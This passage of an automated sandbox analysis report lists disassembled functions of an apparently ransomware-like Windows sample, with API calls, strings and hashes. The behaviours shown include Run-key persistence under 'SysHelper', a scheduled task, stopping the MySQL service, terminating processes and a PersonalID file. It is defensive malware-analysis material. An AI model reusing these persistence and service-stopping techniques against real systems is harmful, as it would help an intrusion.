Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: d87ae02ebb827c572a96defd0b94b563a2a13f3acd0a84997267fb9c98df2b66
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004270A5 Relevance: 18.3, APIs: 12, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0042708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,00463083,?,00000000,00000000), ref: 004271FE
DecodePointer.KERNEL32(?,?), ref: 0042722A
DecodePointer.KERNEL32(?,?), ref: 0042724F
__aulldvrm.LIBCMT ref: 00427385
_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_string.LIBCMT ref: 0042756B
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 559064418-0
Opcode ID: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction ID: 14f77054e820437d32f524f0a61f308f331f5c30c1a6e174fa9440fd564cd740
Opcode Fuzzy Hash: 688c8fa77b64d3e6dd85923818a4fb75ab92d018343194e73b5bea7932078b8e
Instruction Fuzzy Hash: B8B1A171E092399FDF209B54EC88BAAB7B5EF54314F5400DAD908A6251D7389E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00427B21 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(006B51D8), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID:
API String ID: 3064303923-0
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

Service-0x, xrefs: 00454A80
_OPENSSL_isservice, xrefs: 004549D1

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 839ece2f53d05b3d3a3b41915715d02d267126b8b76695ecb3f97597e52a1477
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Uniqueness

Uniqueness Score: -1.00%

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000,?,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: 48266b123bee2effe3eea144965b75bbd91e26d62acab2e3a1446f4d096604c6
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Uniqueness

Uniqueness Score: -1.00%

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

--Task, xrefs: 0040DBB5
Comment, xrefs: 0040DBFF
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956
C:\SystemID, xrefs: 0040C946

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
SHGetFolderPathW, xrefs: 0040F34D
Shell32.dll, xrefs: 0040F32C

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 0000000B.00000002.2276492755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2276492755.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2276492755.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_C06.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
